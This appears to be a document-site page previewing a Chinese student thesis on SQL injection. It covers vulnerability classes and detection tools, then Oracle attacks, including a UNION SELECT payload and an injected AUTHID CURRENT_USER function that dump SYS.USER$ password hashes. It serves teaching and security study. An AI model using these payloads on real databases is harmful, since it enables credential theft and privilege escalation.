收藏 分享(赏)

数据库代码安全检测――SQL注入.doc

上传人:wo7103235 文档编号:6253052 上传时间:2019-04-03 格式:DOC 页数:52 大小:959.50KB
下载 相关 举报
数据库代码安全检测――SQL注入.doc_第1页
第1页 / 共52页
数据库代码安全检测――SQL注入.doc_第2页
第2页 / 共52页
数据库代码安全检测――SQL注入.doc_第3页
第3页 / 共52页
数据库代码安全检测――SQL注入.doc_第4页
第4页 / 共52页
数据库代码安全检测――SQL注入.doc_第5页
第5页 / 共52页
点击查看更多>>
资源描述

1、学校编码: 分类号 密级 学号: UDC 学 位 论 文数据库代码安全检测SQL 注入Database Code Secure ScanSQL Injection指导教师姓名: 申请学位级别:专 业 名 称:论文提交日期:论文答辩时间:学位授予单位: 学位授予日期: 答辩委员会主席: 评 阅 人: 年 月摘要不少人都看过一些关于 SQL Injection 针对数据库和 web 应用程序攻击的文章,大都是因为变量过滤不足甚至没有过滤而构造畸形 SQL 语句注入。目前常见的漏洞大致分为以下几种: 包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞 ,SQL 注入漏洞等几种。论文从 SQL 注入的现状出

2、发,研究了 SQL 注入技术在数据库 Oracle 和 SQL Server 注入方法和技术,并针对情况提出相应的建议,同时也提到反“过滤”技术的总结。通过 ASP 和 PHP 语言编写的Web 应用程序,来学习 SQL 注入在网页方面的应用原理。 SQL 注入漏洞主要通过手工和工具检测,论文中有一章专门对检测工具 AppScan 工作原理和使用的介绍。最后通过前面对SQL 注入的学习和研究,对一网站攻击,并记录下攻击的详细过程。经过对理论的研究,对没有“过滤”Web 应用程序,能够实现 SQL 注入攻击。随着反“过滤”技术的新起,SQL 注入很有前景。同时可以用漏洞发掘技术,在数据库方面发掘

3、出新的漏洞。关键词:SQL 注入; 数据库 ;Web 应用程序AbstractAny people have read about SQL Injection for databases and web applications attacks on the article, mostly because of inadequate or no variable filter and filter into structural deformities SQL statement. At present common loophole is broadly divided into the f

4、ollowing types: document contains loopholes, loopholes in the implementation of the script orders, documents leaked loopholes, SQL injection of several loopholes. Papers from the status of SQL injection, on the SQL injection technology in Oracle and SQL Server database injection methods and techniqu

5、es for the situation and make a recommendation, also referred to the anti-“filtering“ technology concluded. ASP and PHP language through the preparation of Web applications, to learn SQL injection in the application of principles of the page. SQL injection Flows, mainly through hand tools and test p

6、apers in a chapter devoted to the detection tool AppScan principle and the use of introduction. Finally, in front of SQL injection of study and research on a Web site attacks, and a record of attacks on the detailed process. After the study of theory, there is no “filter“ Web applications, SQL injec

7、tion attacks can be achieved. With the anti-“filtering“ from the new technology, SQL injection promising. At the same time can be used to explore technical flows in the database to explore a new flow.Key Words: SQL Injection ; Database ; Web Application目录第一章 绪论 .51.1引言 51.2论文的研究背景 51.2.1 SQL Injecti

8、on的发展和现状 61.3论文的研究内容 71.4论文的组织结构 7第二章 软件安全漏洞与检测 .82.1 软件安全漏洞 .82.2 软件安全检测方法 .112.2.1.手工检测 .112.2.2.工具检测 .122.3 本章小结 .12第三章 数据库安全 .133.1 ORACLE数据库 133.1.1 Oracle数据库架构 133.1.2 Oracle数据库 SQL注入 153.1.3 Oracle数据库安全建议 223.2 SQL SERVER数据库 .233.2.1 SQL Server数据库架构 .233.2.2 SQL Server数据库 SQL注入 .253.2.3 SQL S

9、erver数据库安全建议 .293.3 本章小结 .30第四章 WEB应用程序安全 304.1 ASP应用程序 314.1.1.手工判断能否注入 314.1.2.判断数据库类型及注入方法 314.1.3.利用系统表注入 sqlserver 数据库 .324.2 PHP应用程序 334.2.1.PHP注入原理 344.2.2. 查询字段 .344.2.3.导出文件 .354.3反过滤技术 364.4 本章小结 .37第五章 安全检测工具 APPSCAN375.1 安全检测工具现状 .385.2 APPSCAN工作原理 385.3 APPSCAN检测过程 395.4 APPSCAN检测结果分析 4

10、25.5本章小结 43第六章 SQL注入过程实例 436.1 SQL注入准备 436.2 SQL注入过程 456.3本章小结 48第七章 总结与展望 .487.1总结 487.2局限性与展望 48致谢 50附录 511第一章 绪论安全没有绝对的,我们不用杀毒软件来安慰自己,我们系统现在很安全,我们要用技术来保护自己。为了保护自己,我们更应该知道怎么攻击别人。 11.1引言随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在

11、安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得 某些他想得知的数据,这就是所谓的 SQL Injection,即 SQL 注入。SQL 注入是从正常的 WWW 端口访问,而且表面看起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对 SQL 注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL 注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的 SQL 语句,从而成功获取想要的数据。正因为越多越多的人都变成 Cracker,一夜之间上千个网站被不同程序的受到攻击也不是神话

12、,我相信最好的保护自己的不受攻击的方式就是学会怎么攻击别人。本文从数据库本身存在 SQL 注入问题学会攻击和防守,同时也从用不同语言编写的 Web 程序出发,挖掘SQL Injection 技巧和方法。 81.2论文的研究背景黑客攻击事件数量的不断上升,蠕虫在 Intemet 上的泛滥,信息安全逐渐成为人们眼中的焦点。信息安全中的一个核心问题就是存在于计算机系统中的软件安全漏洞,恶意的攻击者可以利用这些安全漏洞提升权限,访问未授权资源,甚至破坏敏感数据。2003 年 1 月,全球因特网遭受了过去 18 个月来最严重的攻击。我国互联网出现大面积网络流量异常、访问速度变慢的现象,情况严重的网络一度

13、中断无法使用,不计其数的网民浏览网页和发送电子邮件出现困难,时间长达数小时。澳大利亚、美国、英国、韩国、泰国、日本、马来西亚、菲律宾、印度等全球范围的互联网络都受到不同程度的攻击。全球估计至少有 2.2 万个网络服务器遭到了病毒攻击,美国美洲银行称 1.3 万台自动取款机瘫痪此次攻击是利用 2002 年 7 月份公2布的微软 SQ 场 erverZ000 的一个系统漏洞,对网络上的 SQL 数据库进行攻击。连接在网络上的被攻击的系统如同癌细胞那样不断蜕变,生成新的攻击向网络释放、扩散,从而逐步鲸吞、消耗网络资源,导致网络访问速度下降,甚至瘫痪。2003 年 8 月 11 日,利用 MS0326

14、 漏洞的“冲击波”蠕虫病毒开始在全世界范围内爆发,造成巨大破坏。在国内,两天时间里就使数千个局域网陷于瘫痪状态,受害者中既包括几十人的小规模企业,也有电信、政府等大型事业单位。而且个人用户,尤其是使用宽带网的用户,也遭到了此病毒的攻击。在感染此病毒后,会造成系统反复重启、不能收发邮件、无法浏览网页等影响,导致无法正常工作,给企业和个人都造成了巨大的损失。根据 DHS 和 NISTll 对近十年软件安全漏洞进行的数据统计,2006 年漏洞数已经超过了 8000 个,比 2005 年增长了约百分之六十,几乎是 2004 年的两倍。软件安全漏洞造成的重大损失以及还在不断增长的漏洞数量使人们已经开始深

15、刻认识到软件安全的重要性。从上世纪 90 年代,信息安全学者,计算机安全研究人员就开始了对计算机安全漏洞的研究,最为人熟知的就是缓冲区溢出攻击漏洞。但研究的范围主要包括如何监测和防御恶意攻击者利用安全漏洞进行攻击,由此开发出来入侵检测系统(IDS)和入侵防御系统(IPS)等等商业产品,以及针对缓冲区溢出的堆和栈,不可执行堆栈等等技术。 61.2.1 SQL Injection的发展和现状从 2008 年 1 月发现,这 5 个月里,有关部门监控下,发现此次爆发并不是第一起 SQL注入攻击。在过去的 4 个月中,早已有 3 次大规模攻击:1 月初,成千上万的网站,包括CA.com, 受到了 SQ

16、L 注入攻击(1,0001,000 页/天 );3 月中旬,包括 TrendMicro.jp 在内的网站受到了 SQL 注入攻击(1,0001,000 页/天);4 月中旬,包括英国政府,和联合国的网站都受到了 SQL 注入攻击(1,0001,000 页/天)。 13以下是此类攻击的流程1. 黑客运用搜索引擎寻找网页上的漏洞,并运用自动化工具攻击网络服务器。2. 一个字符串附加到在后台运行的 SQL 服务器中所有的文本或可变长字符串列中。3.这个脚本与黑客所控制服务器连接。该服务器含有一些常用软件的利用代码,如 Microsoft MS06-014, 第三方软件漏洞,(Real Player,

17、 Global Link Lianzong, PPStorm Baofeng, Thunder Xunlei, Baidu Bar)。有的时候还有一些 0day 漏洞,比如 10 天前公布的 GlobalLink Lianzong 0day。34.当终端用户试图用 IE 浏览正常的网站时,由于这些网页都将从 SQL 服务器获取数据,这些数据同时包含了恶意脚本。而这些脚本会自动连接到黑客的网站。5.如果终端用户没有打补丁,或尚未安装 Microsoft 或第三方软件的最新更新,那么他们的电脑就会被感染。IDG 新闻服务 2008 年 5 月 19 日报道,中国大陆和中国台湾地区数以千计的网站正在

18、遭受大规模的 SQL 注入攻击。该攻击者并没有针对某个特定的漏洞,而是通过 SQL 注入引擎自动搜索使用 SQL 数据库的网站并进行攻击。他首先在目标网站上植入恶意代码,然后再通过浏览器感染浏览该网站的用户。关于这些恶意代码的细节以及相应的浏览器漏洞等相关信息还有待进一步确认。大规模的 SQL 注入攻击已经成为网络安全的一大隐患。早在今年一月份,就曾经有好几万的 PC 用户遭受到了这种攻击。不过当时主要针对的是微软的 SQL Server 数据库。注: 事实上,在中国每天都有被攻击的网站,他们被感染上恶意代码,使其连向黑客控制的网站。根据我们来自中国 Blackhat 组织的消息,这些攻击者并

19、没有暴露自己的身份。这种攻击的目的是攻击者想要建立一个超大的肉鸡网络,然后将其卖给其他人,从中谋取利益。SQL 攻击,越来越常见,我们为了保护自己就应该行动起来,学会怎么攻击。只有在原理掌握了,才能更好的保护自己。1.3论文的研究内容1.4论文的组织结构第一章 主要对安全背景介绍,并简单介绍当前 SQL 注入现状,同时对论文的的研究内容和组织结构做了说明。第二章 主要对安全漏洞进行多方面分类,并介绍通过使用手工方法和工具方法检测漏洞。第三章 主要对 Oracle 和 SQLServe 数据库,分别从数据库架构、数据库 SQL 注入攻击、数据库安全建议。第四章 主要针对 ASP 和 PHP 语言

20、开发的程序,SQL 注入详细分析和说明,并对反过滤技术进行总结。4第五章 主要对安全检测工具现状作了简要说明,并对 AppScan 检测工具的工作原理、工作流程、操作步骤等进行详图解说明。第六章 主要演示了通过 AppScan 工具检测出漏洞,然后演示对网站进行 SQL 注入的全过程。第七章 总结与展望第二章 软件安全漏洞与检测人们已经开始认识到软件安全的重要性,并且已有一些很好的实践。软件开发者必须关注由于设计不当和实现软件时的不合理而引发的安全漏洞本身,综合利用各种手段和技术对软件进行漏洞检测,从问题的根源来提高软件安全,而不是等投入使用后,发现了漏洞再来修补。2.1 软件安全漏洞网络安全

21、的核心目标是保障业务系统的可持续性和数据的安全性,而这两点的主要威胁来自于蠕虫的暴发、黑客的攻击、拒绝服务攻击、木马。蠕虫、黑客攻击问题都和漏洞紧密联系在一起,一旦有重大安全漏洞出现,整个互联网就会面临一次重大挑战。虽然传统木马和安全漏洞关系不大,但最近很多木马都巧妙的利用了 IE 的漏洞,让你在浏览网页时不知不觉的就中了招。安全漏洞的定义已经有很多了,我这里给出一个通俗的说法就是:能够被利用来干“原本以为”不能干的事,并且和安全相关的缺陷。这个缺陷可以是设计上的问题、程序代码实现上的问题。对一个特定程序的安全漏洞可以从多方面进行分类。 41. 从用户群体分类:大众类软件的漏洞。如 Windo

22、ws 的漏洞、IE 的漏洞等等。专用软件的漏洞。如 Oracle 漏洞、Apache 漏洞等等。2.从数据角度看分为:能读按理不能读的数据,包括内存中的数据、文件中的数据、用户输入的数据、数据库中的数据、网络上传输的数据等等。5能把指定的内容写入指定的地方(这个地方包括文件、内存、数据库等)输入的数据能被执行(包括按机器码执行、按 Shell 代码执行、按 SQL 代码执行等等)3.从作用范围角度看分为:远程漏洞,攻击者可以利用并直接通过网络发起攻击的漏洞。这类漏洞危害极大,攻击者能随心所欲的通过此漏洞操作他人的电脑。并且此类漏洞很容易导致蠕虫攻击,在Windows。 本地漏洞,攻击者必须在本

23、机拥有访问权限前提下才能发起攻击的漏洞。比较典型的是本地权限提升漏洞,这类漏洞在 Unix 系统中广泛存在,能让普通用户获得最高管理员权4.从触发条件上看可以分为:主动触发漏洞,攻击者可以主动利用该漏洞进行攻击,如直接访问他人计算机。被动触发漏洞,必须要计算机的操作人员配合才能进行攻击利用的漏洞。比如攻击者给管 理员发一封邮件,带了一个特殊的 jpg 图片文件,如果管理员打开图片文件就会导致看图软件的某个漏洞被触发,从而系统被攻击,但如果管理员不看这个图片则不会受攻击。5.从操作角度看可分为:文件操作类型,主要为操作的目标文件路径可被控制(如通过参数、配置文件、环境变量、符号链接灯),这样就可

24、能导致下面两个问题:写入内容可被控制,从而可伪造文件内容,导致权限提升或直接修改重要数据(如修改 存贷数据),这类漏洞有很多,如历史上 Oracle TNS LOG 文件可指定漏洞,可导致任何人可控制运行 Oracle 服务的计算机;内容信息可被输出,包含内容被打印到屏幕、记录到可读的日志文件、产生可被用户读的 core 文件等等,这类漏洞在历史上 Unix 系统中的 crontab 子系统中出现过很多次,普通用户能读受保护的 shadow 文件;内存覆盖,主要为内存单元可指定,写入内容可指定,这样就能执行攻击者想执行的代6码(缓冲区溢出、格式串漏洞、PTrace 漏洞、历史上 Windows

25、2000 的硬件调试寄存器用户可写漏洞)或直接修改内存中的机密数据。逻辑错误,这类漏洞广泛存在,但很少有范式,所以难以查觉,可细分为:条件竞争漏洞(通常为设计问题,典型的有 Ptrace 漏洞、广泛存在的文件操作时序竞争)策略错误,通常为设计问题,如历史上 FreeBSD 的 Smart IO 漏洞。算法问题(通常为设计问题或代码实现问题),如历史上微软的 Windows 95/98 的共享口令可轻易获取漏洞。设计的不完善,如 TCP/IP 协议中的 3 步握手导致了 SYN FLOOD 拒绝服务攻击。实现中的错误(通常为设计没有问题,但编码人员出现了逻辑错误,如历史上博彩系统的伪随机算法实现

26、问题)外部命令执行问题,典型的有外部命令可被控制(通过 PATH 变量,输入中的 SHELL特殊字符等等)和 SQL 注入问题。6.从时序上看可分为:已发现很久的漏洞:厂商已经发布补丁或修补方法,很多人都已经知道。这类漏洞通常很多人已经进行了修补,宏观上看危害比较小。刚发现的漏洞:厂商刚发补丁或修补方法,知道的人还不多。相对于上一种漏洞其危害性较大,如果此时出现了蠕虫或傻瓜化的利用程序,那么会导致大批系统受到攻击。0day:还没有公开的漏洞,在私下交易中的。这类漏洞通常对大众不会有什么影响,但会导致攻击者瞄准的目标受到精确攻击,危害也是非常之大。在过去 CERT/CC(CERT Coordin

27、ation Center)统计报告的安全缺陷中约 50%都是由于缓冲区溢出漏洞引起的。但是随着网络的普及和使用,应用程序安全漏洞在大量出现。一些常见的安全漏洞。如下表: 67程序语言 C/C+ JAVA ASP 、PHP安全漏洞 缓冲区溢出格式化字符串堆溢出内核溢出CGI 渗透SQL 注入XSS 脚本注入XPath 注入Session 攻击HTTP Head 攻击下图 2 -1 是 2008 年 4 月对网站进行扫描的结果分析的综合图,从图中可以看出现在来自己 SQL 注入的危胁还占主要地位:图 2-1:AppScan 检测结果2.2 软件安全检测方法82.2.1.手工检测首先必须清除安全漏洞

28、是软件 BUG 的一个子集,一切软件测试的手段都对安全漏洞发掘实用。现在” 黑客“ 用的各种漏洞发掘手段里有模式可循的有: 13fuzz 测试(黑盒测试),通过构造可能导致程序出现问题的方式构造输入数据进行自动测试。源码审计(白盒测试),现在有了一系列的工具都能协助发现程序中的安全 BUG,最简单的就是你手上最新版本的 C 语言编译器。IDA 反汇编审计(灰盒测试),这和上面的源码审计非常类似,唯一不同的是很多时候你能获得软件,但你无法拿到源码来审计,但 IDA 是一个非常强大的反汇编平台,能让你基于汇编码(其实也是源码的等价物)进行安全审计。动态跟踪分析,就是记录程序在不同条件下执行的全部和

29、安全问题相关的操作(如文件操作),然后分析这些操作序列是否存在问题,这是竞争条件类漏洞发现的主要途径之一,其他的污点传播跟踪也属于这类。补丁比较,厂商的软件出了问题通常都会在补丁中解决,通过对比补丁前后文件的源码(或反汇编码)就能了解到漏洞的具体细节。以上手段中无论是用哪种都涉及到一个关键点:需要通过人工分析来找到全面的流程覆盖路径。分析手法多种多样,有分析设计文档、分析源码、分析反汇编代码、动态调试程序等。SQL 注入手动检测,最简单的方式是直接加单引号() ,进行检测,如果返回正确页面则说明对单引号进行了过滤。当然这只是简单的判断。我们还可以用比较典型的访求就是1=1 原则。基本原理是:在

30、 URL 后面加上 and 1=1,返回正常页面,加上 1=2,返回不正常页面,则说明此程序可以注入。相反则不可注入。2.2.2.工具检测随着安全检测已经成为确保软件性非常重要的部分,慢慢检测工具也出现在网络上。下面对各类工具作介绍: 7针对代码检测工具主要有: FindBugs 、PMD、CheckStyle针对 web 的工具有 :AppScan:9NGSS SQL Injector:不同数据库之间利用漏洞进行 SQL 注入,现在支持的数据库有:Access, DB2, Informix, MSSQL, MySQL, Oracle, SysbaseSQLNinja:是一种对 Web 应用程

31、序使用 Microsoft SQL Server 作为其后台数据库利用 SQL注入漏洞工具。FJ-Injector Framwork:是一个免费的开放源码框架,旨在帮助寻找 SQL 注入漏洞的 Web应用程式。它包括一个代理功能拦截,并修改 HTTP 请求,和一个界面自动化 SQL 注入。2.3 本章小结本章主要根据当前的安全形式,介绍了安全漏洞相关知识与检测漏洞的方法和工具,希望我们对软件安全有个正确的定位,做好自己的要开发过程中的安全问题。第三章 数据库安全数据库,现在无处不在,从小网站,到大型的项目。所以数据库安全也变的非常关系。我们的帐号都在其中,是所有安全突破者的目标。为了保卫安全,

32、我们要学习数据的不足,这样才能更加方便我们的维护。3.1 Oracle数据库 3在这一节,先通过 Oracle 架构熟悉下 Oracle,然后讨论 PL/SQL 注入技术,主要是提升自己用户的权限,最后提供防注入的安全建议。3.1.1 Oracle数据库架构1.Oracle TNS ListenerOracle TNS 侦听器是 Oracle 所有通讯的枢纽。TNS 是 Oracle 用来在客户端和服务端之前通讯的协议。TNS 侦听器响应一些如”version”,”status”和”services”指令,当数据库开始启动时,它用 service_register_NSGR 命令来注册登记。让

33、 TNS 侦听器都知道,数据库服务器都准备好接受连接。当客户端要访问数据库服务器时,客户端首先连接 TNS 。TNS 响应返回一个客户端要用的 TCP 端口,客户连接到这个端口,然后进行身份验证到数据库服务器。但是如果数据库已配置在多线程服务器模式 MTS,没有端口分配,因为被指定为这个通讯10的端口与数据库服务器正在侦听的 TCP 端口是相同的。TNS 通常是侦听端口 1521,也取决于 Oracle 的版本不同而不同,总之可以对所有 TCP 端口侦听。TNS 使得 PL/SQL 和外部存储过程为一个整体。基本上当 PL/SQL 的存储过程时,RDBMS 连接到 TNS 侦听器,TNS 启动

34、一个 RDBMS 连接的程序 extproc。由 extproc 来装载类和调用所要的函数。可以被攻击者在没有用户名和密码时,滥用来攻击。Oracle 到10g,TNS 可以远程管理。在安装时没有密码,所以任何人都可以操作,使得这非常的危险。为了安全,一定要设置密码。Lsnrctl 是侦听器的管理工具,尽可能的用它来查询登录数据库服务和检索状态信息。C:oracleora92binlsnrctlLSNRCTL set current_listener 10.1.1.1LSNRCTL status我们能从中得到一些有用的信息。2. Oracle RDBMS在 Windows 和 Unix 平台上

35、运行的 Oracle 一个主要的不同在于不同数目进程结合起来,创造的实际的 RDBMS。在 Windows 只有 oracle.exe 进程,但在 UNIX 平台上有多个进程,每个负责的部分功能。UNIX 每个进程分别是:PMON(Process Monitor) 、SMON(System Monitor)、 RECO(Distributed Transaction Recovery)、 DBWR(Database Writer) 、LGWR(Log Writer)、 CKPT(Checkpoint)。Windows 也有这些进程,不过都包括在 oracle.exe 进程中。3.Oracle

36、智能代理智能代理对于 RDBMS 是次要的,但对于管理是必要的。智能工具执行一定数量的角色,但是它的重要功能是收集管理和性能数据,可以通过 SNMP 或 Oracle 的自己私有的协议被询问。 代理在 TCP 侦听 1748, 1808 和 1809 端口。 就 SNMP 而言关注端口是可配置和可预设的 UDP 161 或可以经常发现 dbsnmp 侦听在 1161 端口的 SNMP 请求。 在 Oracle 10g 中代码取代了 dbsnmp。使用 Oracle 企业管理工具- 特别是使用“性能管理”的“ 诊断包”, 性能数据能被远程请求,不必使用者用户名或密码。这一点,不用说,可以为攻击者

37、提供了一个远程系统丰富的资料。举例来说,他们可以列出所有正在运行的进程,取得内存使用情况,等等。另一个 Oracle 管理智能代理工具是 agentctl。使用这工具,代理可以被停止,启动,查询状态和告诉代码让它停止收集数据或停止执行任务。Agentctl 工具也有局限性; 它不能真正11用于查询远程系统。不过它使用本地套接字与代理交互,在调试会话展示真正是通过向前向后传递方面是一个突破点。如果喜欢使用端口重新定向工具,这样的工作是非常好的。无论哪种方式转储包,你会发现没有交互是通过验证的。这意味着,例如,攻击者可能停止的代理,而无须知道任何用户名或密码。智能代理往往需要与数据库服务器进行通信

38、,并要求一个 RDBMS 的用户帐户和密码。默认情况下,是 dbsnmp / dbsnmp。在安全审计时,其它的默认密码一般都会让修改,除了这个。如果你更改这个数据库的密码,SNMP 陷阱将不能工作。你必须告诉智能代理,密码改变。这些往往是太多的麻烦,一般都留为默认。如果要改 dbsnmp 帐号的密码,则要修改oracle_home/network/admin 目录下的 snmp_rw.ora 文件。如下设置snmp.connect.sid.name = dbsnmp snmp.connect.sid.password =newpassword注意:不要用 ALTER USER 命令更密码,因

39、为 SQL 记录追踪,密码会被记录在日志里。然而使用 SQL*PLUS 命令,经过加密版的密码,会更加安全。4.Oracle 认证和授权Oracel 支持二种用户:数据库用户和操作系统用户。操作系统用户由外部操作系统进行身份验证和一般先于 OP$,然而数据库用户由数据库服务进行身份验证。数据库安装时创建了一些默认情况下的用户。最重要是的 SYS 用户,相当于 UNIX 的 root 或 Windows 的Administrators。Oracle 安装时,SYS 预设密码为 CHANGE_ON_INSTALL.另一个用户SYSTEM,和 SYS 一个强大,SYSTEM 默认密码是 MANAGE

40、R。系统用户名和密码都存在SYS.USER$表中。5.数据库认证当客户端验证到服务器,并不是直接传送明文,而是加过密的密文。认证的整个流程是:首先,客户端连接到 TNS 侦听器并请求访问 RDBMS,指定 SID。提供的 SID 有效,则用一个 TCP 端口响应,把客户端重定向到这个端口。一旦连接上这个端口,客户端发送用户名到服务进程,如果用户名存在远程系统中,服务器的回应以会话密钥。如果不存在,不会回应会话密钥。这对攻击者是非常有用的,攻击者可以判断出用户是否存在远程系统上。无论如何,假设用户确实存在,会话密钥发送回客户端。客户端使用这个会话密钥来加密密码并将其发送回服务器进行验证。一旦验证

41、数据库服务器,用户的行动是被使用授权控制的。在Oracle 中,授权是由系统和对象特权指定的。12当攻击系统时,知道系统的哪些活动是受到审计,为通常是对我们很有用的价值的信息。3.1.2 Oracle数据库 SQL注入1. 注入 SELECT 语句先看一个例子: 考虑这个存储过程代码,假设它可以被 PUBLIC 执行,归 SYS 拥有。CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) ASTYPE C_TYPE IS REF CURSOR;CV C_TYPE;BUFFER VARCHAR2(200);BEGINDBMS_O

42、UTPUT.ENABLE(1000000);OPEN CV FOR SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = | P_OWNER | AND OBJECT_TYPE=LIBRARY;LOOPFETCH CV INTO buffer;DBMS_OUTPUT.PUT_LINE(BUFFER);EXIT WHEN CV%NOTFOUND;END LOOP;CLOSE CV;END;/这个存储过程列出所有用户所有类,这用户是执行这个存储过程提供的。这个类的清单,将用 DBMS_OUTPUT.PUT_LINE,输出到终端。 用下面的命令来执行这个

43、存储过程:SET SERVEROUTPUT ONEXEC SYS.LIST_LIBRARIES(SYS);LIST_LIBRARIES 这个存储过程是易受 SQL 注入的。使用者执行这个存储过程时,可以输入一个单引号“突破”原代码的查询而插入自己的额外的查询。因为 Oracle 不像 MSSQL批量查询。它一般一直认为,攻击都只能力执行 UNION SELECT 查询语句。事实并非如果,我们先看下怎么样构造 UNION SELECT 注入来返回存储在 SYS.USER$表中的密码。用下面的命令来执行这个存储过程:SET SERVEROUTPUT ONEXEC SYS.LIST_LIBRARIE

44、S(FOO UNION SELECT PASSWORD FROM SYS.USER$-);对运行此查询,而不是比原来的代码定义查询SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = FOO AND OBJECT_TYPE=LIBRARY执行的而是:13SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = FOO UNION SELECT PASSWORD FROM SYS.USER$ - AND OBJECT_TYPE=LIBRARY后面的二个减号,是 Oracle 的注释,有效的把 AND OBJE

45、CT_TYPE=LIBRARY注释掉当查询运行时,密码哈希表输出到终端。当我们想一起得到用户名和密码时,构造下面的命令来执行这个存储过程:EXEC SYS.LIST_LIBRARIES(FOO UNION SELECT NAME,PASSWORD FROM SYS.USER$-);但是返回出错了:ORA-01789: query block has incorrect number of result columnsORA-06512: at “SYS.LIST_LIBRARIES“, line 6我们能分别的得到用户名和密码,但不能正确的对应该。我们就必须用自己定义的函数,来同时得到用户名和

46、密码。2.攻击者自定义函数越过障碍然而,我们有一个存储过程,LIST_LIBRARIES,我们能注入并返回单一的列。但我们想要返回二列或更多的列属性,用 UNION SELECT 行不通。为了达到这个目的,我们要构造自己的函数来完成这工作,并将这函数注入到 LIST_LIBRARIES 存储过程。如果我们想从表 SYS.USER$中得到用户(一个数) 、名字(字符)、密码(字符)。我们构造了下面的函数:CREATE OR REPLACE FUNCTION GET_USERS RETURN VARCHAR2 AUTHID CURRENT_USER ASTYPE C_TYPE IS REF CUR

47、SOR;CV C_TYPE;U VARCHAR2(200);P VARCHAR2(200);N NUMBER;BEGINDBMS_OUTPUT.ENABLE(1000000);OPEN CV FOR SELECT USER#,NAME,PASSWORD FROM SYS.USER$;LOOPFETCH CV INTO N,U,P;14DBMS_OUTPUT.PUT_LINE(USER#: | N | NAME | U | PWD | P);EXIT WHEN CV%NOTFOUND;END LOOP;CLOSE CV;RETURN FOO;END;建立好函数后,我们把它注入到存储过程 LIST

48、_LIBRARIES 中:EXEC SYS.LIST_LIBRARIES(FOO | SCOTT.GET_USERS-);得到结果:USER#: 0 NAME SYS PWD 2696A092833AFD9AUSER#: 1 NAME PUBLIC PWDUSER#: 2 NAME CONNECT PWDUSER#: 3 NAME RESOURCE PWDUSER#: 4 NAME DBA PWDUSER#: 5 NAME SYSTEM PWD EED9B65CCECDB2EA使用这种方法注入函数,有利于那些查询结果不输出的存储过程。注意:当我们建立了我们的函数时,我们用 AUTHID CUR

49、RENT_USER 关键字,如果我们不这样做,这是我们定义的函数,会用我们的权限运行,就失去了强大的 DBA 权限。通过设置 AUTHID CURRENT_USER 关键字,当 LIST_LIBRARIES 执行我们函数时,我们的函数继承 SYS 的权限。看以下函数,由 SYS 定义,这个是假设的,RDBMS 并不存在这个函数。CREATE OR REPLACE FUNCTION SELECT_COUNT(P_OWNER VARCHAR2) RETURN NUMBER ISCNT NUMBER;STMT VARCHAR2(200);BEGINSTMT:=SELECT COUNT(*) FROM ALL_OBJECTS WHERE OWNER= | P_OWNER | ;EXECUTE IMMEDIATE STMT INTO CNT;RETURN CNT;END;15/这个函数返回一个用户在 ALL_OB

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 学术论文 > 毕业论文

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报